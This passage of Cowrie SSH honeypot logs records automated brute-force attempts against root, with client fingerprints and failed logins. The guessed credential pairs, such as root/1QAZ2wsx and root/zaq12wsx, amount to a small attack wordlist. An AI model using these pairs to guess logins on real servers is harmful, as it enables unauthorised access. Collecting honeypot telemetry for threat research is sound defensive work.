rt-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:56.826120Z","src_ip":"60.165.124.241","session":"fb60c1cf36e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZ2wsx","message":"login attempt [root/1QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:57.554016Z","src_ip":"60.165.124.241","session":"fb60c1cf36e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:58.799053Z","src_ip":"60.165.124.241","session":"fb60c1cf36e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50064,"dst_ip":"10.17.0.5","dst_port":22,"session":"f903985345c1","protocol":"ssh","message":"New connection: 60.165.124.241:50064 (10.17.0.5:22) [session: f903985345c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:59.035736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:59.040381Z","src_ip":"60.165.124.241","session":"f903985345c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:59.276881Z","src_ip":"60.165.124.241","session":"f903985345c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweasd!","message":"login attempt [root/123qweasd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:55:59.993952Z","src_ip":"60.165.124.241","session":"f903985345c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:01.237663Z","src_ip":"60.165.124.241","session":"f903985345c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53004,"dst_ip":"10.17.0.5","dst_port":22,"session":"2047bbf29b16","protocol":"ssh","message":"New connection: 60.165.124.241:53004 (10.17.0.5:22) [session: 2047bbf29b16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:01.484396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:01.489308Z","src_ip":"60.165.124.241","session":"2047bbf29b16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:01.737087Z","src_ip":"60.165.124.241","session":"2047bbf29b16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33098,"dst_ip":"10.17.0.5","dst_port":22,"session":"d67ff9417cd9","protocol":"ssh","message":"New connection: 168.167.228.74:33098 (10.17.0.5:22) [session: d67ff9417cd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:01.814993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:01.820839Z","src_ip":"168.167.228.74","session":"d67ff9417cd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:02.081234Z","src_ip":"168.167.228.74","session":"d67ff9417cd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lin123456","message":"login attempt [root/Lin123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:02.480447Z","src_ip":"60.165.124.241","session":"2047bbf29b16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"esadmin","message":"login attempt [root/esadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:03.155005Z","src_ip":"168.167.228.74","session":"d67ff9417cd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:03.723093Z","src_ip":"60.165.124.241","session":"2047bbf29b16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55902,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fb1682a3225","protocol":"ssh","message":"New connection: 60.165.124.241:55902 (10.17.0.5:22) [session: 3fb1682a3225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:03.956897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:03.960924Z","src_ip":"60.165.124.241","session":"3fb1682a3225","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:04.197396Z","src_ip":"60.165.124.241","session":"3fb1682a3225","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:04.417302Z","src_ip":"168.167.228.74","session":"d67ff9417cd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ll123456@","message":"login attempt [root/Ll123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:04.929402Z","src_ip":"60.165.124.241","session":"3fb1682a3225","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:06.186048Z","src_ip":"60.165.124.241","session":"3fb1682a3225","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58916,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fe8fddebdcf","protocol":"ssh","message":"New connection: 60.165.124.241:58916 (10.17.0.5:22) [session: 4fe8fddebdcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:06.459552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:06.463187Z","src_ip":"60.165.124.241","session":"4fe8fddebdcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:06.719740Z","src_ip":"60.165.124.241","session":"4fe8fddebdcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root654321","message":"login attempt [root/root654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:07.501132Z","src_ip":"60.165.124.241","session":"4fe8fddebdcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:08.760612Z","src_ip":"60.165.124.241","session":"4fe8fddebdcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33692,"dst_ip":"10.17.0.5","dst_port":22,"session":"7407c534fb8e","protocol":"ssh","message":"New connection: 60.165.124.241:33692 (10.17.0.5:22) [session: 7407c534fb8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:08.977538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:08.981468Z","src_ip":"60.165.124.241","session":"7407c534fb8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:09.219880Z","src_ip":"60.165.124.241","session":"7407c534fb8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsx","message":"login attempt [root/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:09.940432Z","src_ip":"60.165.124.241","session":"7407c534fb8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:11.188896Z","src_ip":"60.165.124.241","session":"7407c534fb8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36726,"dst_ip":"10.17.0.5","dst_port":22,"session":"11c359f8729e","protocol":"ssh","message":"New connection: 60.165.124.241:36726 (10.17.0.5:22) [session: 11c359f8729e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:11.417767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:11.422562Z","src_ip":"60.165.124.241","session":"11c359f8729e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:11.661760Z","src_ip":"60.165.124.241","session":"11c359f8729e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Philips1","message":"login attempt [root/Philips1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:12.381108Z","src_ip":"60.165.124.241","session":"11c359f8729e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:13.624269Z","src_ip":"60.165.124.241","session":"11c359f8729e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39750,"dst_ip":"10.17.0.5","dst_port":22,"session":"eeb2c6071ce9","protocol":"ssh","message":"New connection: 60.165.124.241:39750 (10.17.0.5:22) [session: eeb2c6071ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:13.865132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:13.870253Z","src_ip":"60.165.124.241","session":"eeb2c6071ce9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:14.123391Z","src_ip":"60.165.124.241","session":"eeb2c6071ce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bagabu","message":"login attempt [root/bagabu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:14.866162Z","src_ip":"60.165.124.241","session":"eeb2c6071ce9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:16.112844Z","src_ip":"60.165.124.241","session":"eeb2c6071ce9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42604,"dst_ip":"10.17.0.5","dst_port":22,"session":"745b4e180b2a","protocol":"ssh","message":"New connection: 60.165.124.241:42604 (10.17.0.5:22) [session: 745b4e180b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:56:16.394350Z"}
